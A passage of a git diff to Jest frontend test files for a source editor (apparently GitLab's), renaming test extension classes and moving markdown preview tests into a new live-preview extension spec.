${fullExtensionsArrayWithOptions} | ${['shared', 'classExtMethod', 'fnExtMethod', 'constExtMethod']}
`(
'Should register $expectedProps when extension is "$extensions"',
({ extensions, expectedProps }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
expect(seInstance.extensionsAPI).toHaveLength(0);
seInstance.use(extensions);
@@ -127,15 +196,15 @@ describe('Source Editor Instance', () => {
it.each`
definition | preInstalledExtDefinition | expectedErrorProp
- ${conflictingExtensions.WithInstanceExt} | ${MyClassExtension} | ${'use'}
+ ${conflictingExtensions.WithInstanceExt} | ${SEClassExtension} | ${'use'}
${conflictingExtensions.WithInstanceExt} | ${null} | ${'use'}
${conflictingExtensions.WithAnotherExt} | ${null} | ${undefined}
- ${conflictingExtensions.WithAnotherExt} | ${MyClassExtension} | ${'shared'}
- ${MyClassExtension} | ${conflictingExtensions.WithAnotherExt} | ${'shared'}
+ ${conflictingExtensions.WithAnotherExt} | ${SEClassExtension} | ${'shared'}
+ ${SEClassExtension} | ${conflictingExtensions.WithAnotherExt} | ${'shared'}
`(
'logs the naming conflict error when registering $definition',
({ definition, preInstalledExtDefinition, expectedErrorProp }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
jest.spyOn(console, 'error').mockImplementation(() => {});
if (preInstalledExtDefinition) {
@@ -175,7 +244,7 @@ describe('Source Editor Instance', () => {
`(
'Should throw $thrownError when extension is "$extensions"',
({ extensions, thrownError }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
const useExtension = () => {
seInstance.use(extensions);
};
@@ -188,24 +257,24 @@ describe('Source Editor Instance', () => {
beforeEach(() => {
extensionStore = new Map();
- seInstance = new Instance({}, extensionStore);
+ seInstance = new SourceEditorInstance({}, extensionStore);
});
it('stores _instances_ of the used extensions in a global registry', () => {
- const extension = seInstance.use({ definition: MyClassExtension });
+ const extension = seInstance.use({ definition: SEClassExtension });
expect(extensionStore.size).toBe(1);
- expect(extensionStore.entries().next().value).toEqual(['MyClassExtension', extension]);
+ expect(extensionStore.entries().next().value).toEqual(['SEClassExtension', extension]);
});
it('does not duplicate entries in the registry', () => {
jest.spyOn(extensionStore, 'set');
- const extension1 = seInstance.use({ definition: MyClassExtension });
- seInstance.use({ definition: MyClassExtension });
+ const extension1 = seInstance.use({ definition: SEClassExtension });
+ seInstance.use({ definition: SEClassExtension });
expect(extensionStore.set).toHaveBeenCalledTimes(1);
- expect(extensionStore.set).toHaveBeenCalledWith('MyClassExtension', extension1);
+ expect(extensionStore.set).toHaveBeenCalledWith('SEClassExtension', extension1);
});
it.each`
@@ -222,20 +291,20 @@ describe('Source Editor Instance', () => {
jest.spyOn(extensionStore, 'set');
const extension1 = seInstance.use({
- definition: MyClassExtension,
+ definition: SEClassExtension,
setupOptions: currentSetupOptions,
});
const extension2 = seInstance.use({
- definition: MyClassExtension,
+ definition: SEClassExtension,
setupOptions: newSetupOptions,
});
expect(extensionStore.size).toBe(1);
expect(extensionStore.set).toHaveBeenCalledTimes(expectedCallTimes);
if (expectedCallTimes > 1) {
- expect(extensionStore.set).toHaveBeenCalledWith('MyClassExtension', extension2);
+ expect(extensionStore.set).toHaveBeenCalledWith('SEClassExtension', extension2);
} else {
- expect(extensionStore.set).toHaveBeenCalledWith('MyClassExtension', extension1);
+ expect(extensionStore.set).toHaveBeenCalledWith('SEClassExtension', extension1);
}
},
);
@@ -252,7 +321,7 @@ describe('Source Editor Instance', () => {
`(
`Should throw "${EDITOR_EXTENSION_NOT_SPECIFIED_FOR_UNUSE_ERROR}" when extension is "$unuseExtension"`,
({ unuseExtension, thrownError }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
const unuse = () => {
seInstance.unuse(unuseExtension);
};
@@ -262,16 +331,16 @@ describe('Source Editor Instance', () => {
it.each`
initExtensions | unuseExtensionIndex | remainingAPI
- ${{ definition: MyClassExtension }} | ${0} | ${[]}
- ${{ definition: MyFnExtension }} | ${0} | ${[]}
- ${{ definition: MyConstExt }} | ${0} | ${[]}
+ ${{ definition: SEClassExtension }} | ${0} | ${[]}
+ ${{ definition: SEFnExtension }} | ${0} | ${[]}
+ ${{ definition: SEConstExt }} | ${0} | ${[]}
${fullExtensionsArray} | ${0} | ${['fnExtMethod', 'constExtMethod']}
${fullExtensionsArray} | ${1} | ${['shared', 'classExtMethod', 'constExtMethod']}
${fullExtensionsArray} | ${2} | ${['shared', 'classExtMethod', 'fnExtMethod']}
`(
'un-registers properties introduced by single extension $unuseExtension',
({ initExtensions, unuseExtensionIndex, remainingAPI }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
const extensions = seInstance.use(initExtensions);
if (Array.isArray(initExtensions)) {
@@ -291,7 +360,7 @@ describe('Source Editor Instance', () => {
`(
'un-registers properties introduced by multiple extensions $unuseExtension',
({ unuseExtensionIndex, remainingAPI }) => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
const extensions = seInstance.use(fullExtensionsArray);
const extensionsToUnuse = extensions.filter((ext, index) =>
unuseExtensionIndex.includes(index),
@@ -304,11 +373,11 @@ describe('Source Editor Instance', () => {
it('it does not remove entry from the global registry to keep for potential future re-use', () => {
const extensionStore = new Map();
- seInstance = new Instance({}, extensionStore);
+ seInstance = new SourceEditorInstance({}, extensionStore);
const extensions = seInstance.use(fullExtensionsArray);
const verifyExpectations = () => {
const entries = extensionStore.entries();
- const mockExtensions = ['MyClassExtension', 'MyFnExtension', 'MyConstExt'];
+ const mockExtensions = ['SEClassExtension', 'SEFnExtension', 'SEConstExt'];
expect(extensionStore.size).toBe(mockExtensions.length);
mockExtensions.forEach((ext, index) => {
expect(entries.next().value).toEqual([ext, extensions[index]]);
@@ -326,7 +395,7 @@ describe('Source Editor Instance', () => {
beforeEach(() => {
instanceModel = monacoEditor.createModel('');
- seInstance = new Instance({
+ seInstance = new SourceEditorInstance({
getModel: () => instanceModel,
});
});
@@ -363,17 +432,17 @@ describe('Source Editor Instance', () => {
};
it('passes correct arguments to callback fns when using an extension', () => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
seInstance.use({
definition: MyFullExtWithCallbacks,
setupOptions: defSetupOptions,
});
- expect(onSetup).toHaveBeenCalledWith(defSetupOptions, seInstance);
+ expect(onSetup).toHaveBeenCalledWith(seInstance, defSetupOptions);
expect(onUse).toHaveBeenCalledWith(seInstance);
});
it('passes correct arguments to callback fns when un-using an extension', () => {
- seInstance = new Instance();
+ seInstance = new SourceEditorInstance();
const extension = seInstance.use({
definition: MyFullExtWithCallbacks,
setupOptions: defSetupOptions,
diff --git a/spec/frontend/editor/source_editor_markdown_ext_spec.js b/spec/frontend/editor/source_editor_markdown_ext_spec.js
index 245c6c28d31..eecd23bff6e 100644
--- a/spec/frontend/editor/source_editor_markdown_ext_spec.js
+++ b/spec/frontend/editor/source_editor_markdown_ext_spec.js
@@ -1,36 +1,19 @@
import MockAdapter from 'axios-mock-adapter';
-import { Range, Position, editor as monacoEditor } from 'monaco-editor';
-import waitForPromises from 'helpers/wait_for_promises';
-import {
- EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS,
- EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
- EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
- EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS,
- EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY,
-} from '~/editor/constants';
+import { Range, Position } from 'monaco-editor';
import { EditorMarkdownExtension } from '~/editor/extensions/source_editor_markdown_ext';
import SourceEditor from '~/editor/source_editor';
-import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import syntaxHighlight from '~/syntax_highlight';
-
-jest.mock('~/syntax_highlight');
-jest.mock('~/flash');
describe('Markdown Extension for Source Editor', () => {
let editor;
let instance;
let editorEl;
- let panelSpy;
let mockAxios;
- const previewMarkdownPath = '/gitlab/fooGroup/barProj/preview_markdown';
const firstLine = 'This is a';
const secondLine = 'multiline';
const thirdLine = 'string with some **markup**';
const text = `${firstLine}\n${secondLine}\n${thirdLine}`;
- const plaintextPath = 'foo.txt';
const markdownPath = 'foo.md';
- const responseData = '<div>FooBar</div>';
const setSelection = (startLineNumber = 1, startColumn = 1, endLineNumber = 1, endColumn = 1) => {
const selection = new Range(startLineNumber, startColumn, endLineNumber, endColumn);
@@ -42,11 +25,6 @@ describe('Markdown Extension for Source Editor', () => {
const selectionToString = () => instance.getSelection().toString();
const positionToString = () => instance.getPosition().toString();
- const togglePreview = async () => {
- instance.togglePreview();
- await waitForPromises();
- };
-
beforeEach(() => {
mockAxios = new MockAdapter(axios);
setFixtures('<div id="editor" data-editor-loading></div>');
@@ -57,8 +35,7 @@ describe('Markdown Extension for Source Editor', () => {
blobPath: markdownPath,
blobContent: text,
});
- editor.use(new EditorMarkdownExtension({ instance, previewMarkdownPath }));
- panelSpy = jest.spyOn(EditorMarkdownExtension, 'togglePreviewPanel');
+ instance.use({ definition: EditorMarkdownExtension });
});
afterEach(() => {
@@ -67,345 +44,6 @@ describe('Markdown Extension for Source Editor', () => {
mockAxios.restore();
});
- it('sets up the instance', () => {
- expect(instance.preview).toEqual({
- el: undefined,
- action: expect.any(Object),
- shown: false,
- modelChangeListener: undefined,
- });
- expect(instance.previewMarkdownPath).toBe(previewMarkdownPath);
- });
-
- describe('model language changes listener', () => {
- let cleanupSpy;
- let actionSpy;
-
- beforeEach(async () => {
- cleanupSpy = jest.spyOn(instance, 'cleanup');
- actionSpy = jest.spyOn(instance, 'setupPreviewAction');
- await togglePreview();
- });
-
- it('cleans up when switching away from markdown', () => {
- expect(instance.cleanup).not.toHaveBeenCalled();
- expect(instance.setupPreviewAction).not.toHaveBeenCalled();
-
- instance.updateModelLanguage(plaintextPath);
-
- expect(cleanupSpy).toHaveBeenCalled();
- expect(actionSpy).not.toHaveBeenCalled();
- });
-
- it.each`
- oldLanguage | newLanguage | setupCalledTimes
- ${'plaintext'} | ${'markdown'} | ${1}
- ${'markdown'} | ${'markdown'} | ${0}
- ${'markdown'} | ${'plaintext'} | ${0}
- ${'markdown'} | ${undefined} | ${0}
- ${undefined} | ${'markdown'} | ${1}
- `(
- 'correctly handles re-enabling of the action when switching from $oldLanguage to $newLanguage',
- ({ oldLanguage, newLanguage, setupCalledTimes } = {}) => {
- expect(actionSpy).not.toHaveBeenCalled();
- instance.updateModelLanguage(oldLanguage);
- instance.updateModelLanguage(newLanguage);
- expect(actionSpy).toHaveBeenCalledTimes(setupCalledTimes);
- },
- );
- });
-
- describe('model change listener', () => {
- let cleanupSpy;
- let actionSpy;
-
- beforeEach(() => {
- cleanupSpy = jest.spyOn(instance, 'cleanup');
- actionSpy = jest.spyOn(instance, 'setupPreviewAction');
- instance.togglePreview();
- });
-
- afterEach(() => {
- jest.clearAllMocks();
- });
-
- it('does not do anything if there is no model', () => {
- instance.setModel(null);
-
- expect(cleanupSpy).not.toHaveBeenCalled();
- expect(actionSpy).not.toHaveBeenCalled();
- });
-
- it('cleans up the preview when the model changes', () => {
- instance.setModel(monacoEditor.createModel('foo'));
- expect(cleanupSpy).toHaveBeenCalled();
- });
-
- it.each`
- language | setupCalledTimes
- ${'markdown'} | ${1}
- ${'plaintext'} | ${0}
- ${undefined} | ${0}
- `(
- 'correctly handles actions when the new model is $language',
- ({ language, setupCalledTimes } = {}) => {
- instance.setModel(monacoEditor.createModel('foo', language));
-
- expect(actionSpy).toHaveBeenCalledTimes(setupCalledTimes);
- },
- );
- });
-
- describe('cleanup', () => {
- beforeEach(async () => {
- mockAxios.onPost().reply(200, { body: responseData });
- await togglePreview();
- });
-
- it('disposes the modelChange listener and does not fetch preview on content changes', () => {
- expect(instance.preview.modelChangeListener).toBeDefined();
- jest.spyOn(instance, 'fetchPreview');
-
- instance.cleanup();
- instance.setValue('Foo Bar');
- jest.advanceTimersByTime(EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY);
-
- expect(instance.fetchPreview).not.toHaveBeenCalled();
- });
-
- it('removes the contextual menu action', () => {
- expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBeDefined();
-
- instance.cleanup();
-
- expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBe(null);
- });
-
- it('toggles the `shown` flag', () => {
- expect(instance.preview.shown).toBe(true);
- instance.cleanup();
- expect(instance.preview.shown).toBe(false);
- });
-
- it('toggles the panel only if the preview is visible', () => {
- const { el: previewEl } = instance.preview;
- const parentEl = previewEl.parentElement;
-
- expect(previewEl).toBeVisible();
- expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(true);
-
- instance.cleanup();
- expect(previewEl).toBeHidden();
- expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
- false,
- );
-
- instance.cleanup();
- expect(previewEl).toBeHidden();
- expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
- false,
- );
- });
-
- it('toggles the layout only if the preview is visible', () => {
- const { width } = instance.getLayoutInfo();
-
- expect(instance.preview.shown).toBe(true);
-
- instance.cleanup();
-
- const { width: newWidth } = instance.getLayoutInfo();
- expect(newWidth === width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH).toBe(true);
-
- instance.cleanup();
- expect(newWidth === width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH).toBe(true);
- });
- });
-
- describe('fetchPreview', () => {
- const fetchPreview = async () => {
- instance.fetchPreview();
- await waitForPromises();
- };
-
- let previewMarkdownSpy;
-
- beforeEach(() => {
- previewMarkdownSpy = jest.fn().mockImplementation(() => [200, { body: responseData }]);
- mockAxios.onPost(previewMarkdownPath).replyOnce((req) => previewMarkdownSpy(req));
- });
-
- it('correctly fetches preview based on previewMarkdownPath', async () => {
- await fetchPreview();
-
- expect(previewMarkdownSpy).toHaveBeenCalledWith(
- expect.objectContaining({ data: JSON.stringify({ text }) }),
- );
- });
-
- it('puts the fetched content into the preview DOM element', async () => {
- instance.preview.el = editorEl.parentElement;
- await fetchPreview();
- expect(instance.preview.el.innerHTML).toEqual(responseData);
- });
-
- it('applies syntax highlighting to the preview content', async () => {
- instance.preview.el = editorEl.parentElement;
- await fetchPreview();
- expect(syntaxHighlight).toHaveBeenCalled();
- });
-
- it('catches the errors when fetching the preview', async () => {
- mockAxios.onPost().reply(500);
-
- await fetchPreview();
- expect(createFlash).toHaveBeenCalled();
- });
- });
-
- describe('setupPreviewAction', () => {
- it('adds the contextual menu action', () => {
- expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBeDefined();
- });
-
- it('does not set up action if one already exists', () => {
- jest.spyOn(instance, 'addAction').mockImplementation();
-
- instance.setupPreviewAction();
- expect(instance.addAction).not.toHaveBeenCalled();
- });
-
- it('toggles preview when the action is triggered', () => {
- jest.spyOn(instance, 'togglePreview').mockImplementation();
-
- expect(instance.togglePreview).not.toHaveBeenCalled();
-
- const action = instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID);
- action.run();
-
- expect(instance.togglePreview).toHaveBeenCalled();
- });
- });
-
- describe('togglePreview', () => {
- beforeEach(() => {
- mockAxios.onPost().reply(200, { body: responseData });
- });
-
- it('toggles preview flag on instance', () => {
- expect(instance.preview.shown).toBe(false);
-
- instance.togglePreview();
- expect(instance.preview.shown).toBe(true);
-
- instance.togglePreview();
- expect(instance.preview.shown).toBe(false);
- });
-
- describe('panel DOM element set up', () => {
- it('sets up an element to contain the preview and stores it on instance', () => {
- expect(instance.preview.el).toBeUndefined();
-
- instance.togglePreview();
-
- expect(instance.preview.el).toBeDefined();
- expect(instance.preview.el.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS)).toBe(
- true,
- );
- });
-
- it('re-uses existing preview DOM element on repeated calls', () => {
- instance.togglePreview();
- const origPreviewEl = instance.preview.el;
- instance.togglePreview();
-
- expect(instance.preview.el).toBe(origPreviewEl);
- });
-
- it('hides the preview DOM element by default', () => {
- panelSpy.mockImplementation();
- instance.togglePreview();
- expect(instance.preview.el.style.display).toBe('none');
- });
- });
-
- describe('preview layout setup', () => {
- it('sets correct preview layout', () => {
- jest.spyOn(instance, 'layout');
- const { width, height } = instance.getLayoutInfo();
-
- instance.togglePreview();
-
- expect(instance.layout).toHaveBeenCalledWith({
- width: width * EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
- height,
- });
- });
- });
-
- describe('preview panel', () => {
- it('toggles preview CSS class on the editor', () => {
- expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
- false,
- );
- instance.togglePreview();
- expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
- true,
- );
- instance.togglePreview();
- expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
- false,
- );
- });
-
- it('toggles visibility of the preview DOM element', async () => {
- await togglePreview();
- expect(instance.preview.el.style.display).toBe('block');
- await togglePreview();
- expect(instance.preview.el.style.display).toBe('none');
- });
-
- describe('hidden preview DOM element', () => {
- it('listens to model changes and re-fetches preview', async () => {
- expect(mockAxios.history.post).toHaveLength(0);
- await togglePreview();
- expect(mockAxios.history.post).toHaveLength(1);
-
- instance.setValue('New Value');
- await waitForPromises();
- expect(mockAxios.history.post).toHaveLength(2);
- });
-
- it('stores disposable listener for model changes', async () => {
- expect(instance.preview.modelChangeListener).toBeUndefined();
- await togglePreview();
- expect(instance.preview.modelChangeListener).toBeDefined();
- });
- });
-
- describe('already visible preview', () => {
- beforeEach(async () => {
- await togglePreview();
- mockAxios.resetHistory();
- });
-
- it('does not re-fetch the preview', () => {
- instance.togglePreview();
- expect(mockAxios.history.post).toHaveLength(0);
- });
-
- it('disposes the model change event listener', () => {
- const disposeSpy = jest.fn();
- instance.preview.modelChangeListener = {
- dispose: disposeSpy,
- };
- instance.togglePreview();
- expect(disposeSpy).toHaveBeenCalled();
- });
- });
- });
- });
-
describe('getSelectedText', () => {
it('does not fail if there is no selection and returns the empty string', () => {
jest.spyOn(instance, 'getSelection');
@@ -525,13 +163,11 @@ describe('Markdown Extension for Source Editor', () => {
});
it('does not fail when only `toSelect` is supplied and fetches the text from selection', () => {
- jest.spyOn(instance, 'getSelectedText');
const toSelect = 'string';
selectSecondAndThirdLines();
instance.selectWithinSelection(toSelect);
- expect(instance.getSelectedText).toHaveBeenCalled();
expect(selectionToString()).toBe(`[3,1 -> 3,${toSelect.length + 1}]`);
});
diff --git a/spec/frontend/editor/source_editor_markdown_livepreview_ext_spec.js b/spec/frontend/editor/source_editor_markdown_livepreview_ext_spec.js
new file mode 100644
index 00000000000..c8d016e10ac
--- /dev/null
+++ b/spec/frontend/editor/source_editor_markdown_livepreview_ext_spec.js
@@ -0,0 +1,421 @@
+import MockAdapter from 'axios-mock-adapter';
+import { editor as monacoEditor } from 'monaco-editor';
+import waitForPromises from 'helpers/wait_for_promises';
+import {
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS,
+ EXTENSION_MARKDOWN_PREVIEW_ACTION_ID,
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
+ EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS,
+ EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY,
+} from '~/editor/constants';
+import { EditorMarkdownPreviewExtension } from '~/editor/extensions/source_editor_markdown_livepreview_ext';
+import SourceEditor from '~/editor/source_editor';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import syntaxHighlight from '~/syntax_highlight';
+import { spyOnApi } from './helpers';
+
+jest.mock('~/syntax_highlight');
+jest.mock('~/flash');
+
+describe('Markdown Live Preview Extension for Source Editor', () => {
+ let editor;
+ let instance;
+ let editorEl;
+ let panelSpy;
+ let mockAxios;
+ let extension;
+ const previewMarkdownPath = '/gitlab/fooGroup/barProj/preview_markdown';
+ const firstLine = 'This is a';
+ const secondLine = 'multiline';
+ const thirdLine = 'string with some **markup**';
+ const text = `${firstLine}\n${secondLine}\n${thirdLine}`;
+ const plaintextPath = 'foo.txt';
+ const markdownPath = 'foo.md';
+ const responseData = '<div>FooBar</div>';
+
+ const togglePreview = async () => {
+ instance.togglePreview();
+ await waitForPromises();
+ };
+
+ beforeEach(() => {
+ mockAxios = new MockAdapter(axios);
+ setFixtures('<div id="editor" data-editor-loading></div>');
+ editorEl = document.getElementById('editor');
+ editor = new SourceEditor();
+ instance = editor.createInstance({
+ el: editorEl,
+ blobPath: markdownPath,
+ blobContent: text,
+ });
+ extension = instance.use({
+ definition: EditorMarkdownPreviewExtension,
+ setupOptions: { previewMarkdownPath },
+ });
+ panelSpy = jest.spyOn(extension.obj.constructor.prototype, 'togglePreviewPanel');
+ });
+
+ afterEach(() => {
+ instance.dispose();
+ editorEl.remove();
+ mockAxios.restore();
+ });
+
+ it('sets up the preview on the instance', () => {
+ expect(instance.markdownPreview).toEqual({
+ el: undefined,
+ action: expect.any(Object),
+ shown: false,
+ modelChangeListener: undefined,
+ path: previewMarkdownPath,
+ });
+ });
+
+ describe('model language changes listener', () => {
+ let cleanupSpy;
+ let actionSpy;
+
+ beforeEach(async () => {
+ cleanupSpy = jest.fn();
+ actionSpy = jest.fn();
+ spyOnApi(extension, {
+ cleanup: cleanupSpy,
+ setupPreviewAction: actionSpy,
+ });
+ await togglePreview();
+ });
+
+ afterEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('cleans up when switching away from markdown', () => {
+ expect(cleanupSpy).not.toHaveBeenCalled();
+ expect(actionSpy).not.toHaveBeenCalled();
+
+ instance.updateModelLanguage(plaintextPath);
+
+ expect(cleanupSpy).toHaveBeenCalled();
+ expect(actionSpy).not.toHaveBeenCalled();
+ });
+
+ it.each`
+ oldLanguage | newLanguage | setupCalledTimes
+ ${'plaintext'} | ${'markdown'} | ${1}
+ ${'markdown'} | ${'markdown'} | ${0}
+ ${'markdown'} | ${'plaintext'} | ${0}
+ ${'markdown'} | ${undefined} | ${0}
+ ${undefined} | ${'markdown'} | ${1}
+ `(
+ 'correctly handles re-enabling of the action when switching from $oldLanguage to $newLanguage',
+ ({ oldLanguage, newLanguage, setupCalledTimes } = {}) => {
+ expect(actionSpy).not.toHaveBeenCalled();
+ instance.updateModelLanguage(oldLanguage);
+ instance.updateModelLanguage(newLanguage);
+ expect(actionSpy).toHaveBeenCalledTimes(setupCalledTimes);
+ },
+ );
+ });
+
+ describe('model change listener', () => {
+ let cleanupSpy;
+ let actionSpy;
+
+ beforeEach(() => {
+ cleanupSpy = jest.fn();
+ actionSpy = jest.fn();
+ spyOnApi(extension, {
+ cleanup: cleanupSpy,
+ setupPreviewAction: actionSpy,
+ });
+ instance.togglePreview();
+ });
+
+ afterEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('does not do anything if there is no model', () => {
+ instance.setModel(null);
+
+ expect(cleanupSpy).not.toHaveBeenCalled();
+ expect(actionSpy).not.toHaveBeenCalled();
+ });
+
+ it('cleans up the preview when the model changes', () => {
+ instance.setModel(monacoEditor.createModel('foo'));
+ expect(cleanupSpy).toHaveBeenCalled();
+ });
+
+ it.each`
+ language | setupCalledTimes
+ ${'markdown'} | ${1}
+ ${'plaintext'} | ${0}
+ ${undefined} | ${0}
+ `(
+ 'correctly handles actions when the new model is $language',
+ ({ language, setupCalledTimes } = {}) => {
+ instance.setModel(monacoEditor.createModel('foo', language));
+
+ expect(actionSpy).toHaveBeenCalledTimes(setupCalledTimes);
+ },
+ );
+ });
+
+ describe('cleanup', () => {
+ beforeEach(async () => {
+ mockAxios.onPost().reply(200, { body: responseData });
+ await togglePreview();
+ });
+
+ it('disposes the modelChange listener and does not fetch preview on content changes', () => {
+ expect(instance.markdownPreview.modelChangeListener).toBeDefined();
+ const fetchPreviewSpy = jest.fn();
+ spyOnApi(extension, {
+ fetchPreview: fetchPreviewSpy,
+ });
+
+ instance.cleanup();
+ instance.setValue('Foo Bar');
+ jest.advanceTimersByTime(EXTENSION_MARKDOWN_PREVIEW_UPDATE_DELAY);
+
+ expect(fetchPreviewSpy).not.toHaveBeenCalled();
+ });
+
+ it('removes the contextual menu action', () => {
+ expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBeDefined();
+
+ instance.cleanup();
+
+ expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBe(null);
+ });
+
+ it('toggles the `shown` flag', () => {
+ expect(instance.markdownPreview.shown).toBe(true);
+ instance.cleanup();
+ expect(instance.markdownPreview.shown).toBe(false);
+ });
+
+ it('toggles the panel only if the preview is visible', () => {
+ const { el: previewEl } = instance.markdownPreview;
+ const parentEl = previewEl.parentElement;
+
+ expect(previewEl).toBeVisible();
+ expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(true);
+
+ instance.cleanup();
+ expect(previewEl).toBeHidden();
+ expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
+ false,
+ );
+
+ instance.cleanup();
+ expect(previewEl).toBeHidden();
+ expect(parentEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
+ false,
+ );
+ });
+
+ it('toggles the layout only if the preview is visible', () => {
+ const { width } = instance.getLayoutInfo();
+
+ expect(instance.markdownPreview.shown).toBe(true);
+
+ instance.cleanup();
+
+ const { width: newWidth } = instance.getLayoutInfo();
+ expect(newWidth === width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH).toBe(true);
+
+ instance.cleanup();
+ expect(newWidth === width / EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH).toBe(true);
+ });
+ });
+
+ describe('fetchPreview', () => {
+ const fetchPreview = async () => {
+ instance.fetchPreview();
+ await waitForPromises();
+ };
+
+ let previewMarkdownSpy;
+
+ beforeEach(() => {
+ previewMarkdownSpy = jest.fn().mockImplementation(() => [200, { body: responseData }]);
+ mockAxios.onPost(previewMarkdownPath).replyOnce((req) => previewMarkdownSpy(req));
+ });
+
+ it('correctly fetches preview based on previewMarkdownPath', async () => {
+ await fetchPreview();
+
+ expect(previewMarkdownSpy).toHaveBeenCalledWith(
+ expect.objectContaining({ data: JSON.stringify({ text }) }),
+ );
+ });
+
+ it('puts the fetched content into the preview DOM element', async () => {
+ instance.markdownPreview.el = editorEl.parentElement;
+ await fetchPreview();
+ expect(instance.markdownPreview.el.innerHTML).toEqual(responseData);
+ });
+
+ it('applies syntax highlighting to the preview content', async () => {
+ instance.markdownPreview.el = editorEl.parentElement;
+ await fetchPreview();
+ expect(syntaxHighlight).toHaveBeenCalled();
+ });
+
+ it('catches the errors when fetching the preview', async () => {
+ mockAxios.onPost().reply(500);
+
+ await fetchPreview();
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+
+ describe('setupPreviewAction', () => {
+ it('adds the contextual menu action', () => {
+ expect(instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID)).toBeDefined();
+ });
+
+ it('does not set up action if one already exists', () => {
+ jest.spyOn(instance, 'addAction').mockImplementation();
+
+ instance.setupPreviewAction();
+ expect(instance.addAction).not.toHaveBeenCalled();
+ });
+
+ it('toggles preview when the action is triggered', () => {
+ const togglePreviewSpy = jest.fn();
+ spyOnApi(extension, {
+ togglePreview: togglePreviewSpy,
+ });
+
+ expect(togglePreviewSpy).not.toHaveBeenCalled();
+
+ const action = instance.getAction(EXTENSION_MARKDOWN_PREVIEW_ACTION_ID);
+ action.run();
+
+ expect(togglePreviewSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('togglePreview', () => {
+ beforeEach(() => {
+ mockAxios.onPost().reply(200, { body: responseData });
+ });
+
+ it('toggles preview flag on instance', () => {
+ expect(instance.markdownPreview.shown).toBe(false);
+
+ instance.togglePreview();
+ expect(instance.markdownPreview.shown).toBe(true);
+
+ instance.togglePreview();
+ expect(instance.markdownPreview.shown).toBe(false);
+ });
+
+ describe('panel DOM element set up', () => {
+ it('sets up an element to contain the preview and stores it on instance', () => {
+ expect(instance.markdownPreview.el).toBeUndefined();
+
+ instance.togglePreview();
+
+ expect(instance.markdownPreview.el).toBeDefined();
+ expect(
+ instance.markdownPreview.el.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_CLASS),
+ ).toBe(true);
+ });
+
+ it('re-uses existing preview DOM element on repeated calls', () => {
+ instance.togglePreview();
+ const origPreviewEl = instance.markdownPreview.el;
+ instance.togglePreview();
+
+ expect(instance.markdownPreview.el).toBe(origPreviewEl);
+ });
+
+ it('hides the preview DOM element by default', () => {
+ panelSpy.mockImplementation();
+ instance.togglePreview();
+ expect(instance.markdownPreview.el.style.display).toBe('none');
+ });
+ });
+
+ describe('preview layout setup', () => {
+ it('sets correct preview layout', () => {
+ jest.spyOn(instance, 'layout');
+ const { width, height } = instance.getLayoutInfo();
+
+ instance.togglePreview();
+
+ expect(instance.layout).toHaveBeenCalledWith({
+ width: width * EXTENSION_MARKDOWN_PREVIEW_PANEL_WIDTH,
+ height,
+ });
+ });
+ });
+
+ describe('preview panel', () => {
+ it('toggles preview CSS class on the editor', () => {
+ expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
+ false,
+ );
+ instance.togglePreview();
+ expect(editorEl.classList.contains(EXTENSION_MARKDOWN_PREVIEW_PANEL_PARENT_CLASS)).toBe(
+ true,
+ );
+ instance.togglePreview();
